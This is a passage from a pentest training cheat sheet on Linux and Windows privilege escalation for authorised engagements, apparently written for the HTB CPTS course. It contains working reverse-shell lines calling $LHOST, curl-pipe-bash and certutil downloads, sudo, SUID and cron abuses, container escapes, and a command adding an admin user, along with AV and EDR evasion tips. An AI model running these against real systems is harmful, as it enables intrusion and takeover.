privilege-escalation.md (90791B)
1 --- 2 title: "Stage 09 — Privilege Escalation" 3 description: "CPTS attack-flow reference for stage 09 — privilege escalation in an authorised engagement." 4 category: pentest-workflow 5 subcategory: "CPTS Attack Flow" 6 order: 12 7 tags: ["htb", "cpts", "htb-attack-flow", "htb-attack-flow-stage-09", "pentest-workflow"] 8 tools: ["LinPEAS", "WinPEAS", "pspy", "Seatbelt"] 9 difficulty: intermediate 10 updated: "2026-08-29" 11 source: "vault:Pentest Attack Flow/12 - Stage 09 - Privilege Escalation.md" 12 --- 13 > [!dashboard] Attack-flow navigation 14 > **Dashboard:** [HTB Pentest Attack Flow](/sheets/pentest-workflow/attack-flow-dashboard) 15 > 16 > **Section:** 12 of 17 · **Focus:** Stage 09 — Privilege Escalation 17 > 18 > **Previous:** [Stage 08 — Password Attacks and Credential Hunting](/sheets/pentest-workflow/password-attacks-and-credential-hunting) · **Next:** [Stage 10 — Lateral Movement, Pivoting, and Loot](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot) 19 20 --- 21 # ⬆️ STAGE 9 — Privilege Escalation (Linux & Windows) 22 23 I've got a foothold (web shell, SSH, service account). Goal now: `root` / `NT AUTHORITY\SYSTEM`. My loop is always the same — **stabilise the shell → auto-enum → chase the reddest finding → re-enum after every priv gain**. Automated tools point the way, but I verify manually because they lie and they trip EDR. 24 25 > [!tip] First thing, every box 26 > Fire the auto-enum (linpeas/winpeas) in the background, then work the fast manual wins by hand while it runs: `sudo -l` + `whoami /priv`. Nine times out of ten the quick-win beats the linpeas scroll. 27 28 > [!abstract] Sibling deep-dives 29 > Linux full-length checklist: [Linux Privilege Escalation — CPTS Cheat Sheet](/sheets/privilege-escalation/linux-privesc) · Windows: [Windows Privilege Escalation — CPTS Cheat Sheet](/sheets/privilege-escalation/windows-privesc) · Credentials found here feed back into [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting) and forward into [Stage 10](/sheets/pentest-workflow/lateral-movement-pivoting-and-loot). 30 31 --- 32 33 ### 🐧 Linux 34 35 #### 0 — Upgrade the TTY first (do this before anything else) 36 37 **What to look for:** `tty` returns `not a tty`, no tab-complete, `su`/`ssh` die. Fix it now or every later step is misery. Full playbook in [TTY Upgrades & Restricted Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit). 38 39 ```bash 40 # ── [TARGET] spawn a PTY (first one that exists) ── 41 python3 -c 'import pty; pty.spawn("/bin/bash")' 42 # no python? → 43 script -qc /bin/bash /dev/null 44 # Ctrl+Z to background 45 ``` 46 ```bash 47 # ── [ATTACKER] raw mode + foreground (zsh: MUST be one line) ── 48 stty raw -echo; fg 49 # ── [TARGET] fix the terminal ── 50 reset 51 export SHELL=bash TERM=xterm-256color 52 stty rows 50 cols 200 # values from `stty size` locally 53 ``` 54 55 > [!warning] Watch out 56 > On **zsh** `stty raw -echo` and `fg` must be on the same line separated by `;` or `-echo` is lost before `fg` runs. If I land in **rbash/rksh/lshell**, treat that restriction separately after stabilizing the terminal; use the ranked breakout matrix in [TTY Upgrades & Restricted Shells](/sheets/pentest-workflow/foothold-shells-payloads-metasploit). 57 58 #### 1 — Auto-enum: linpeas + pspy 59 60 > [!tools] Stage this — Linux enum toolkit 61 > **Staged in the vault:** 62 > 63 > [linpeas.sh](/downloads/pentest-workflow/linpeas.sh) ([SHA-256](/downloads/pentest-workflow/linpeas.sh.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas.sh.sha256.asc)) 64 > 65 > [linpeas_linux_amd64](/downloads/pentest-workflow/linpeas_linux_amd64) ([SHA-256](/downloads/pentest-workflow/linpeas_linux_amd64.sha256) · [GPG signature](/downloads/pentest-workflow/linpeas_linux_amd64.sha256.asc)) 66 > 67 > **Link-only companions** (grab from your attack box): [linux-smart-enumeration (lse.sh)](https://github.com/diego-treitos/linux-smart-enumeration) — verbose, level-based (`-l 1` for the interesting stuff) · [LinEnum](https://github.com/rebootuser/LinEnum) — older but `-t` thorough mode still catches cron/NFS oddities · [linux-exploit-suggester](https://github.com/The-Z-Labs/linux-exploit-suggester) — kernel/CVE matcher · [BeRoot](https://github.com/AlessandroZ/BeRoot) — config-driven privesc checks. Reference: [GTFOBins](https://gtfobins.github.io) for every binary a check flags. 68 69 ```bash 70 # ── [ATTACKER] serve tools ── 71 python3 -m http.server 80 # from dir with linpeas.sh + pspy64 72 # ── [TARGET] run linpeas straight to memory (no disk artifact) ── 73 curl http://$LHOST/linpeas.sh | bash 74 # or drop it and run with all checks 75 ./linpeas.sh -a | tee /tmp/.lp.txt 76 # static binary variant when the shell script is mangled/blocked: 77 chmod +x linpeas_linux_amd64 && ./linpeas_linux_amd64 78 # ── watch cron/root processes live (catches hidden root jobs) ── 79 ./pspy64 -pf -i 1000 80 ``` 81 82 > [!tip] Read linpeas by colour — **RED/YELLOW = 95% a vector**. pspy is my secret weapon: it shows root cron jobs and command lines with no root needed, which linpeas can miss. Run both before touching anything else; their output decides which section below you jump to. 83 84 > [!opsec] OPSEC / detection 85 > Piping `curl | bash` leaves no file but the process args still show in `ps`/`/proc` and EDR telemetry. `linpeas.sh -a` is *very* noisy (hundreds of spawned binaries). On a monitored host prefer targeted manual checks (MITRE [T1083](https://attack.mitre.org/techniques/T1083/) File and Directory Discovery, [T1057](https://attack.mitre.org/techniques/T1057/) Process Discovery are logged everywhere) and run pspy from `/dev/shm` or `/tmp` with an innocuous name. Clear `/tmp/.lp.txt` when done. 86 87 #### 2 — `sudo -l` + GTFOBins (the #1 quick-win) 88 89 **What to look for:** anything I can run as another user, `NOPASSWD`, or `env_keep+=LD_PRELOAD`. 90 91 ```bash 92 sudo -l 93 # (root) NOPASSWD: /usr/bin/find → GTFOBins it 94 ``` 95 96 **Decision table — read `sudo -l` output:** 97 98 | `sudo -l` shows | What it means | First move | 99 |---|---|---| 100 | `(ALL : ALL) ALL` | Full sudo, password needed | reuse the foothold password / looted creds ([Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting)) | 101 | `(root) NOPASSWD: /path/bin` | Free root via one binary | check the **sudo** column on [GTFOBins](https://gtfobins.github.io) for that exact binary | 102 | `(userX) NOPASSWD: ...` | Lateral step, not root | become userX (`sudo -u userX ...`), re-run `sudo -l` — chained hops are common in CPTS | 103 | `env_keep+=LD_PRELOAD` / `LD_LIBRARY_PATH` | Library injection survives sudo | §F below — compile a root `.so` | 104 | `SETENV:` | I can set arbitrary env vars | `sudo PYTHONPATH=/tmp ...`, `sudo PATH=...`, `sudo BASH_ENV=...` | 105 | `sudoedit` / `-e` entry | Edit a file as root | check CVE-2023-22809 (§I) or GTFOBins `sudoedit` (shell escape via `EDITOR`) | 106 | `!authenticate` | No password even without NOPASSWD | just run it | 107 | `secure_path=...` | sudo rebuilds PATH | PATH hijack against *this* entry is dead (§A) | 108 | nothing / "not allowed" | No sudo rights | move on; check sudo version CVEs (§I) | 109 110 ```bash 111 # ── GTFOBins sudo escapes (match the binary you're allowed) ── 112 sudo find . -exec /bin/bash \; -quit 113 sudo vim -c ':!/bin/bash' 114 sudo awk 'BEGIN {system("/bin/bash")}' 115 sudo env /bin/bash 116 sudo nmap --interactive # legacy nmap 2.x–5.x only, then: !sh 117 sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z /tmp/.x -Z root # -z runs script as root 118 # ── "shell escape sequence" family (man/less/more/git/journalctl pagers) ── 119 sudo man man # then: !/bin/bash 120 sudo less /etc/hosts # then: !/bin/bash 121 sudo git -p help config # then: !/bin/bash 122 # ── env_keep LD_PRELOAD ── 123 gcc -fPIC -shared -o /tmp/root.so shell.c -nostartfiles # _init(){setuid(0);system("/bin/bash");} 124 sudo LD_PRELOAD=/tmp/root.so <allowed_command> 125 ``` 126 127 > [!warning] Watch out 128 > `sudo` version `< 1.8.28`? Check **CVE-2019-14287** (`sudo -u#-1`) and **Baron Samedit CVE-2021-3156** (heap overflow, works even with no sudo rights). Always check the GTFOBins entry for the *exact* binary — a lot of them need a specific invocation to keep the euid. And remember: a sudo grant for a *script* (`/opt/backup.sh`) is only as strong as the script's writability — check `ls -l` on the target file, not just the grant. 129 130 > [!opsec] OPSEC — sudo abuse 131 > Every `sudo` invocation writes to `/var/log/auth.log` (or journald) with the full command line — GTFOBins escapes are unmistakable in log review. On monitored boxes, prefer vectors that don't touch sudo at all (capabilities, writable cron targets, NFS), and clean up dropped SUID shells (`/tmp/rootbash`) immediately after establishing a steadier root channel. 132 133 #### 3 — SUID / SGID binaries 134 135 ```bash 136 find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null # SUID 137 find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null # SETGID 138 # quick triage: anything NOT in the standard set is interesting 139 ``` 140 ```bash 141 # ── abuse a SUID binary → keep root euid with -p (see GTFOBins "suid" column) ── 142 /usr/bin/env /bin/bash -p 143 find . -exec /bin/bash -p \; -quit 144 python3 -c 'import os; os.execvp("/bin/bash", ["bash", "-p"])' 145 ``` 146 147 > [!warning] Watch out 148 > A non-standard SUID binary (custom app, weird path) is a screaming vector — check the **SUID** column on [GTFOBins](https://gtfobins.github.io), and if it calls another binary by bare name, hijack it via `PATH` (§A). `bash` drops SUID unless you pass `-p`. **Pitfall:** SUID bits are ignored on filesystems mounted `nosuid` (common for `/tmp`, NFS) — a planted SUID shell there does nothing. 149 150 #### 4 — Capabilities 151 152 ```bash 153 getcap -r / 2>/dev/null 154 # cap_setuid+ep on python/perl → instant root 155 ``` 156 157 **Capability → escalation map:** 158 159 | Capability | Seen on | Escalation | 160 |---|---|---| 161 | `cap_setuid+ep` | python, perl, ruby, php | `os.setuid(0)` → shell (below) | 162 | `cap_dac_read_search+ep` | tar, cat, some backup tools | read *any* file → `/etc/shadow`, root's SSH keys (§8) | 163 | `cap_dac_override+ep` | vim.basic, cp | write *any* file → edit `/etc/passwd` (§E) | 164 | `cap_sys_admin+ep` | — | mount abuse: `mount -o bind` the host FS, effectively root | 165 | `cap_sys_ptrace+ep` | gdb, python | inject into / steal the memory of a root process ([T1055](https://attack.mitre.org/techniques/T1055/)) | 166 | `cap_sys_module+ep` | insmod | load a malicious kernel module | 167 | `cap_chown`, `cap_fowner` | — | take ownership of `/etc/shadow` or a root script, then rewrite it | 168 169 ```bash 170 # cap_setuid=ep example 171 python3 -c 'import os; os.setuid(0); os.system("/bin/bash")' 172 # perl with cap_setuid 173 perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";' 174 # cap_dac_read_search on tar → exfil /etc/shadow 175 tar -cf /tmp/sh.tar /etc/shadow && tar -xf /tmp/sh.tar -C /tmp 176 ``` 177 178 #### 5 — Cron jobs, pspy & writable scripts 179 180 > [!tools] Stage this — process/cron monitoring 181 > [pspy64](/downloads/pentest-workflow/pspy64) ([SHA-256](/downloads/pentest-workflow/pspy64.sha256) · [GPG signature](/downloads/pentest-workflow/pspy64.sha256.asc)) 182 > 183 > [pspy32](/downloads/pentest-workflow/pspy32) ([SHA-256](/downloads/pentest-workflow/pspy32.sha256) · [GPG signature](/downloads/pentest-workflow/pspy32.sha256.asc)) 184 > 185 > Run unprivileged; watches `/proc` for every process spawn (root's included) with full command lines. `-pf` prints filesystem events, `-i 1000` polls every second. Match 32 vs 64-bit with `uname -m` before uploading. 186 187 ```bash 188 cat /etc/crontab; ls -la /etc/cron.*/ /var/spool/cron/ 189 # pspy confirms what actually fires as root and how often 190 ``` 191 ```bash 192 # ── writable script run by root cron → append reverse shell ── 193 echo 'bash -i >& /dev/tcp/'$LHOST'/443 0>&1' >> /path/to/root_cron_script.sh 194 # ── writable cron PATH: cron's PATH is set inside /etc/crontab; if a dir in it is 195 # writable AND the job calls a binary by relative name → drop a same-named payload ── 196 grep '^PATH' /etc/crontab; ls -ld <each_dir_on_that_PATH> 197 # ── or wildcard injection (tar/rsync in a root cron over a dir I write to) ── 198 echo 'mkfifo /tmp/f; nc '$LHOST' 443 0</tmp/f | /bin/sh >/tmp/f 2>&1' > shell.sh 199 touch './--checkpoint=1'; touch './--checkpoint-action=exec=sh shell.sh' 200 ``` 201 202 > [!tip] Confirm the job is **live** with `pspy64 -pf` before planting payloads — a backup script that fires daily at 03:00 is a 20-hour wait; one firing every minute is a win now. Cron PATH hijack and wildcard injection mechanics: §A and §B below. MITRE [T1053.003](https://attack.mitre.org/techniques/T1053/003/). 203 204 > [!warning] Writable cron *paths* are the subtle variant 205 > The crontab itself can be root-locked while the **target** of the job is writable: the script file, the directory the script lives in (rename-and-replace), a binary the script calls by relative name, or a glob directory it operates on (§B). Check each link of the chain with `ls -l` / `namei -l /full/path/to/script.sh` — `namei` shows perms on every component at once. In CPTS labs the writable-directory-not-file pattern is a favourite. 206 207 #### 6 — Writable PATH, world-writable files, NFS, containers & disk groups 208 209 ```bash 210 echo $PATH 211 find / -path /proc -prune -o -type f -perm -o+w -print 2>/dev/null # world-writable files 212 find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null # ...and dirs 213 showmount -e $IP # NFS exports 214 id # lxd? docker? disk? adm? → group-based escape 215 ``` 216 ```bash 217 # ── PATH hijack a root-run binary that calls e.g. `service` by relative name ── 218 PATH=.:${PATH}; echo -e '#!/bin/bash\ncp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > service; chmod +x service 219 # ── NFS no_root_squash → drop a SUID root shell from attacker box (full chain §C) ── 220 sudo mount -t nfs $IP:/tmp /mnt && cp /bin/bash /mnt/x && chmod +s /mnt/x # then /tmp/x -p on target 221 # ── docker group → host FS in a throwaway container (full chain §D) ── 222 docker run -v /:/mnt --rm -it ubuntu chroot /mnt sh 223 # ── LXD group → mount host / inside a privileged container ── 224 lxc image import alpine.tar.gz --alias alpine 225 lxc init alpine r00t -c security.privileged=true 226 lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true 227 lxc start r00t; lxc exec r00t /bin/sh # host fs under /mnt/root 228 # ── disk group → raw block-device access (read /etc/shadow, write a SUID) ── 229 debugfs -w /dev/sda1 # debugfs> cat /root/.ssh/id_rsa (or: dump, write) 230 # ── adm group → read /var/log: creds & tokens leaked into logs ── 231 grep -riE 'passw|token|secret' /var/log 2>/dev/null 232 # ── lxc group (unprivileged variant) → same trick, use security.privileged=false + idmap, or /etc/subuid abuse ── 233 ``` 234 235 **Linux quick-triage table — finding → first move:** 236 237 | Finding (linpeas/manual) | Section | First move | 238 |---|---|---| 239 | `sudo -l` grants a binary | §2 | [GTFOBins](https://gtfobins.github.io) sudo entry for that exact binary | 240 | Non-standard SUID | §3 | GTFOBins **suid** column; `strings` for bare-name calls (→ §A PATH hijack) | 241 | `cap_setuid`/`cap_dac_*`/`cap_sys_admin` | §4 | capability map table → setuid/read/write as root | 242 | Root cron + writable script/dir | §5 | append payload, or wildcard-inject (§B) | 243 | `PATH=…` writable dir in cron's PATH | §5/§A | plant same-named binary | 244 | `no_root_squash` export | §C | SUID shell staged as attacker-root | 245 | `docker`/`lxd`/`lxc`/`disk`/`adm` group | §6/§D/§J | container mount / debugfs / log loot | 246 | Writable `/etc/passwd`/`shadow`/`sudoers` | §E | inline-hash UID-0 user | 247 | Writable systemd unit / timer | §H | `ExecStart` revshell + daemon-reload | 248 | Old kernel/sudo/pkexec, nothing else | §7/§I | logic bugs first: PwnKit → Baron Samedit → Dirty Pipe/COW last | 249 | Readable `id_rsa` / root tmux socket | §8/§9 | direct key reuse / socket attach | 250 251 #### 7 — Kernel exploits (last resort) 252 253 **What to look for:** old kernel + no other path. Kernel exploits can panic the box — I try everything else first. 254 255 ```bash 256 uname -a; cat /etc/os-release; cat /etc/lsb-release 2>/dev/null # kernel + distro 257 sudo -V | head -1 # sudo version for §I CVEs 258 # match with linux-exploit-suggester (link-only) or searchsploit linux kernel <ver> 259 gcc kernel_exploit.c -o kx && ./kx # compile ON-target for glibc match 260 ``` 261 262 > [!danger] Kernel exploit caution 263 > Memory-corruption kernel exploits (Dirty COW **CVE-2016-5195** < 4.8.3, Dirty Pipe **CVE-2022-0847** kernels 5.8–5.16.11, OverlayFS/Ubuntu CVEs) can **panic or hang the target** — catastrophic on a real engagement, and in a lab it can force a reset that wipes your planted artifacts. Rules of engagement: (1) exhaust every misconfiguration first, (2) snapshot/backup if you can, (3) prefer **logic bugs** over memory corruption — **PwnKit CVE-2021-4034** (`pkexec`, near-universal pre-2022, rarely crashes) and **sudo Baron Samedit CVE-2021-3156** are logic-class and far safer, (4) document exploit name + CVE + outcome for the report (client stability is a finding too). Detection: new SUID files / unexpected root shells are the classic post-exploitation artifacts a blue team hunts ([T1068](https://attack.mitre.org/techniques/T1068/) Exploitation for Privilege Escalation). 264 265 > [!warning] Watch out 266 > **PwnKit (CVE-2021-4034)** is near-universal on anything with `pkexec` and rarely crashes — try it before any memory-corruption kernel exploit. Compile on the target, not your Kali, or glibc mismatches will segfault it. Full command index: [Linux Privilege Escalation Cheat Sheet](/sheets/privilege-escalation/linux-privesc). 267 268 #### 8 — SSH key looting & reuse 269 270 **What to look for:** readable private keys, known_hosts targets, agent sockets — they turn a single-host foothold into lateral root without any exploit. 271 272 ```bash 273 ls -la /home/*/.ssh/ /root/.ssh/ 2>/dev/null 274 find / -name id_rsa -o -name id_ed25519 -o -name id_ecdsa 2>/dev/null | grep -v ^/proc 275 cat /home/*/.ssh/known_hosts /home/*/.ssh/authorized_keys 2>/dev/null # where do they SSH to/from? 276 cat ~/.ssh/config 2>/dev/null # jump hosts, custom ports 277 ``` 278 ```bash 279 # ── [ATTACKER] fix perms and reuse ── 280 chmod 600 looted_id_rsa 281 ssh -i looted_id_rsa user@$IP # same box, higher user? root@? pivot host from known_hosts? 282 # ── root's key readable via cap_dac_read_search / disk group / backup job → same path ── 283 # ── ssh-agent socket hijack (if I share a box with a root session or find root's env) ── 284 SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.PID ssh-add -l 285 ``` 286 287 > [!tip] Keys found as a low user often belong to `root` or a deploy/admin account — always try `ssh -i key root@$IP` locally first (fast, no network noise), then every host in `known_hosts`. Passphrase-protected key? `ssh2john key > hash` → hashcat `-m 22921` (see [Stage 08](/sheets/pentest-workflow/password-attacks-and-credential-hunting)). MITRE [T1552.004](https://attack.mitre.org/techniques/T1552/004/). 288 289 #### 9 — tmux / screen session hijack 290 291 **What to look for:** a root-owned tmux/screen socket that's group-writable, or a `screen` session left detached with sloppy permissions. Attaching inherits the *running* shell — zero exploit code. 292 293 ```bash 294 ps aux | grep -E 'tmux|screen' | grep -v grep # root sessions? 295 ls -la /tmp/tmux-* /run/screen/* 2>/dev/null # socket dirs + perms 296 ``` 297 ```bash 298 # group-writable root socket (e.g. srw-rw---- root devs, and I'm in devs): 299 tmux -S /shareds # straight into root's live shell 300 # screen equivalent: find the session dir, then 301 screen -x root/ # attach multi-display to root's session 302 ``` 303 304 > [!note] This also works *horizontally*: a dev user's live tmux gives you their full context (history, agent, sudo session). Don't kill the session — `tmux -S sock attach` read-only (`-r`) first if you just want to loot scrollback. Related socket/group tricks: §J below. 305 306 #### 10 — Service-level vectors: MySQL UDF · polkit · logrotate · systemd 307 308 **What to look for:** `mysql` running as root with a known credential, an interactive polkit-reachable service, writable log dirs + old logrotate, writable systemd units. 309 310 ```bash 311 # ── MySQL running as ROOT + I have creds → UDF command execution as root ── 312 ps aux | grep mysql | grep -v grep # user=root? 313 mysql -u root -p -e 'select @@plugin_dir, @@version_compile_os;' 314 # drop a UDF .so (lib_mysqludf_sys) into @@plugin_dir, then: 315 # CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; 316 # SELECT sys_exec('chmod +s /bin/bash'); 317 # ── polkit: can I reach pkexec/polkit actions? (separate from PwnKit the CVE) ── 318 pkexec --version; pkaction | head 319 # polkit < 0.119 on RHEL/CentOS 7-era boxes → CVE-2021-3560 (accountsservice race → add root user) 320 # ── logrotate: writable log dir + logrotate 3.8.6/3.11.0/3.15.0/3.18.0 → logrotten race ── 321 logrotate --version; ls -ld /var/log/<app> # writable log + create-only-if-missing config 322 # ── systemd: writable unit / ExecStart target / sudo systemctl → §H below ── 323 systemctl list-timers --all 324 ``` 325 326 > [!warning] Watch out 327 > MySQL UDF needs `secure_file_priv` empty or pointing at a writable plugin dir and **FILE** privilege on `mysql` — check `SHOW GRANTS`. CVE-2021-3560 is a race: expect several attempts, and it *creates a user* — clean it up afterward. systemd unit abuse and logrotten details: §H below. 328 329 --- 330 331 ### 🪟 Windows 332 333 #### 1 — Auto-enum + the two commands that matter 334 335 > [!tools] Stage this — Windows enum toolkit 336 > **Staged in the vault:** 337 > 338 > [winPEASx64.exe](/downloads/pentest-workflow/winPEASx64.exe) ([SHA-256](/downloads/pentest-workflow/winPEASx64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASx64.exe.sha256.asc)) 339 > 340 > [winPEASany.exe](/downloads/pentest-workflow/winPEASany.exe) ([SHA-256](/downloads/pentest-workflow/winPEASany.exe.sha256) · [GPG signature](/downloads/pentest-workflow/winPEASany.exe.sha256.asc)) 341 > 342 > [PrivescCheck.ps1](/downloads/pentest-workflow/PrivescCheck.ps1) ([SHA-256](/downloads/pentest-workflow/PrivescCheck.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PrivescCheck.ps1.sha256.asc)) 343 > 344 > [jaws-enum.ps1](/downloads/pentest-workflow/jaws-enum.ps1) ([SHA-256](/downloads/pentest-workflow/jaws-enum.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/jaws-enum.ps1.sha256.asc)) 345 > 346 > [Seatbelt.exe](/downloads/pentest-workflow/Seatbelt.exe) ([SHA-256](/downloads/pentest-workflow/Seatbelt.exe.sha256) · [GPG signature](/downloads/pentest-workflow/Seatbelt.exe.sha256.asc)) 347 > 348 > [SharpUp.exe](/downloads/pentest-workflow/SharpUp.exe) ([SHA-256](/downloads/pentest-workflow/SharpUp.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SharpUp.exe.sha256.asc)) 349 > 350 > [PowerUp.ps1](/downloads/pentest-workflow/PowerUp.ps1) ([SHA-256](/downloads/pentest-workflow/PowerUp.ps1.sha256) · [GPG signature](/downloads/pentest-workflow/PowerUp.ps1.sha256.asc)) 351 > 352 > **Link-only companions:** [Watson](https://github.com/rasta-mouse/Watson) / [Sherlock](https://github.com/rasta-mouse/Sherlock) (legacy missing-patch suggesters) · [WES-NG](https://github.com/bitsadmin/wesng) and [Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) — **offline diff**: run `systeminfo` on the target, feed the output to the suggester on your attack box (`wesng systeminfo.txt`), and it maps missing patches → known privesc CVEs without touching the target again. 353 354 **What to look for:** `whoami /priv` for `SeImpersonate`; `whoami /groups` for privileged groups. Deep dives: [Windows PrivEsc Cheat Sheet](/sheets/privilege-escalation/windows-privesc) and Implementation Roadmap Strategic Workflow for Windows Privilege Escalation. 355 356 ```powershell 357 # ── the fast manual checks (do these by hand immediately) ── 358 whoami /priv 359 whoami /groups 360 whoami /all 361 systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"Hotfix" # feed WES-NG offline 362 ``` 363 ```batch 364 :: ── stage tools to C:\Windows\Temp (Users can write there) ── 365 certutil.exe -urlcache -split -f http://%LHOST%/winPEASx64.exe C:\Windows\Temp\wp.exe 366 C:\Windows\Temp\wp.exe > C:\Windows\Temp\wp.txt 367 :: ── stealthier .NET options ── 368 .\SharpUp.exe audit 369 .\Seatbelt.exe -group=all 370 ``` 371 ```powershell 372 # ── PrivescCheck (PowerShell, itm4n — thorough + low FP, Extended mode) ── 373 . .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended 374 # ── JAWS (pure PowerShell, older boxes / no AV) ── 375 powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFileName jaws.txt 376 # ── PowerUp (import + all checks; has auto-exploit functions) ── 377 Import-Module .\PowerUp.ps1; Invoke-AllChecks 378 ``` 379 380 > [!warning] Watch out 381 > winPEAS is flagged by 50+ AV engines and Defender blocks it by default — on a monitored box use the `.bat` variant, SharpUp/Seatbelt (compiled .NET dodges AMSI), PrivescCheck via `IEX` cradle, or just do it manually. Even a **"Disabled"** privilege in `whoami /priv` means the account *has* it; it just needs enabling. 382 383 #### 2 — `whoami /priv` interpretation table 384 385 **Every privilege listed — even `Disabled` — is assigned to my token** and can be enabled in-session. Map priv → technique before running anything: 386 387 | Privilege (`whoami /priv`) | Buys me | Technique / tool | 388 |---|---|---| 389 | `SeImpersonatePrivilege` | steal any connecting client's token | **potato family** (§3) — most common service-account win | 390 | `SeAssignPrimaryTokenPrivilege` | assign a token to a new process | potato with `-t *` variant / direct `CreateProcessAsUser` | 391 | `SeDebugPrivilege` | open **any** process (incl. SYSTEM/LSASS) | procdump/comsvcs LSASS dump, or token steal via psgetsys (deep section) | 392 | `SeBackupPrivilege` | read any file ignoring DACLs | `robocopy /B` hive/NTDS theft → secretsdump (deep section) | 393 | `SeRestorePrivilege` | write any file, change ownership/ACLs, load hives | overwrite a SYSTEM service binary, `reg load`/restore tricks | 394 | `SeTakeOwnershipPrivilege` | `WRITE_OWNER` on any object | `takeown` + `icacls /grant` → read protected files (deep section) | 395 | `SeLoadDriverPrivilege` | load kernel drivers | BYOVD: EoPLoadDriver + Capcom.sys (Print Operators §) | 396 | `SeManageVolumePrivilege` | volume-level ops → full-control ACL on `C:\` | SeManageVolumeExploit → DLL hijack chain (deep section) | 397 | `SeCreateTokenPrivilege` | forge arbitrary tokens | create a SYSTEM token directly (rare) | 398 | `SeTcbPrivilege` | act as part of the OS | token manipulation → SYSTEM (rare, juicy) | 399 | `SeEnableDelegationPrivilege` | set delegation on accounts/computers | AD abuse — constrained delegation path (Stage 06 territory) | 400 | `SeShutdownPrivilege` etc. | — | not escalation; ignore noise | 401 402 > [!note] No native cmdlet flips a `Disabled` priv on — use a scripted `AdjustTokenPrivileges` helper (`EnableAllTokenPrivs`, `Enable-Privilege.ps1`) or the attack tool's built-in self-enable. MITRE [T1134](https://attack.mitre.org/techniques/T1134/) Access Token Manipulation. 403 404 #### 3 — `SeImpersonatePrivilege` → Potato → SYSTEM 405 406 **What to look for:** `SeImpersonatePrivilege` **Enabled** — standard on IIS AppPool, MSSQL, `NETWORK SERVICE`, `LOCAL SERVICE`. This is the most common quick-win on service-account footholds. Full breakdown: 🟣 Attack. 407 408 > [!tools] Stage this — potato family 409 > [PrintSpoofer64.exe](/downloads/pentest-workflow/PrintSpoofer64.exe) ([SHA-256](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256) · [GPG signature](/downloads/pentest-workflow/PrintSpoofer64.exe.sha256.asc)) 410 > 411 > [GodPotato-NET4.exe](/downloads/pentest-workflow/GodPotato-NET4.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET4.exe.sha256.asc)) 412 > 413 > [GodPotato-NET35.exe](/downloads/pentest-workflow/GodPotato-NET35.exe) ([SHA-256](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256) · [GPG signature](/downloads/pentest-workflow/GodPotato-NET35.exe.sha256.asc)) 414 > 415 > [JuicyPotato.exe](/downloads/pentest-workflow/JuicyPotato.exe) ([SHA-256](/downloads/pentest-workflow/JuicyPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/JuicyPotato.exe.sha256.asc)) 416 > 417 > [SweetPotato.exe](/downloads/pentest-workflow/SweetPotato.exe) ([SHA-256](/downloads/pentest-workflow/SweetPotato.exe.sha256) · [GPG signature](/downloads/pentest-workflow/SweetPotato.exe.sha256.asc)) 418 > 419 > **Link-only:** [RoguePotato](https://github.com/antonioCoco/RoguePotato) (needs fake OXID resolver + port-forward on 135) · [JuicyPotatoNG](https://github.com/antonioCoco/JuicyPotatoNG) (DCOM revived for newer builds) · [SharpEfsPotato](https://github.com/bugch3ck/SharpEfsPotato) (C#, EFS-RPC coercion). 420 421 **Decision table — pick by requirement, not by habit:** 422 423 | Tool | Requirement | Works on | Notes | 424 |---|---|---|---| 425 | PrintSpoofer64.exe | Print Spooler **running** | all builds incl. 2019/2022 | fast, clean, interactive `-i`; dead if Spooler disabled (common post-PrintNightmare) | 426 | GodPotato-NET4 / -NET35 | matching .NET version installed | Server 2012–2022, Win8–11 | **works with Spooler OFF** — the broad default; pick NET35 vs NET4 by what's on the box | 427 | JuicyPotato.exe | valid CLSID list for the OS | pre-Server 2019 / Win10 <1809 | Microsoft killed the DCOM path on 2019+/1809+; also covers SeAssignPrimaryToken with `-t *` | 428 | SweetPotato.exe | .NET 4.x | broad | combo: PrintSpoofer + EfsRpc + Rotten auto-fallback in one binary | 429 | RoguePotato (link) | fake OXID resolver reachable on **135** (socat port-fwd) | Spooler-off boxes | needs the redirector; use when outbound 135 to attacker is possible | 430 | JuicyPotatoNG (link) | .NET 4.x, local interactive | newer builds | `-t *` CreateProcessWithToken; pairs with PrintSpoofer-style add-user | 431 | SharpEfsPotato (link) | EFS-RPC reachable | broad, C# (memory-only friendly) | executes inline; good when dropping EXEs is blocked | 432 433 ```powershell 434 whoami /priv | findstr /i "Impersonate AssignPrimaryToken" 435 [System.Environment]::OSVersion.Version # pick the right potato 436 sc query Spooler # up? PrintSpoofer viable 437 # .NET version decides GodPotato variant: 438 reg query "HKLM\SOFTWARE\Microsoft\NET Framework Setup\NDP\v4\Full" /v Release 439 # Release >= 378389 → .NET 4.5+ present → GodPotato-NET4; older/legacy → -NET35 440 ``` 441 ```powershell 442 # ── GodPotato: broadest compatibility (Server 2012–2022, Win8–11) ── 443 .\GodPotato-NET4.exe -cmd "cmd /c whoami" 444 .\GodPotato-NET4.exe -cmd "cmd /c net user hacker P@ssword123! /add && net localgroup Administrators hacker /add" 445 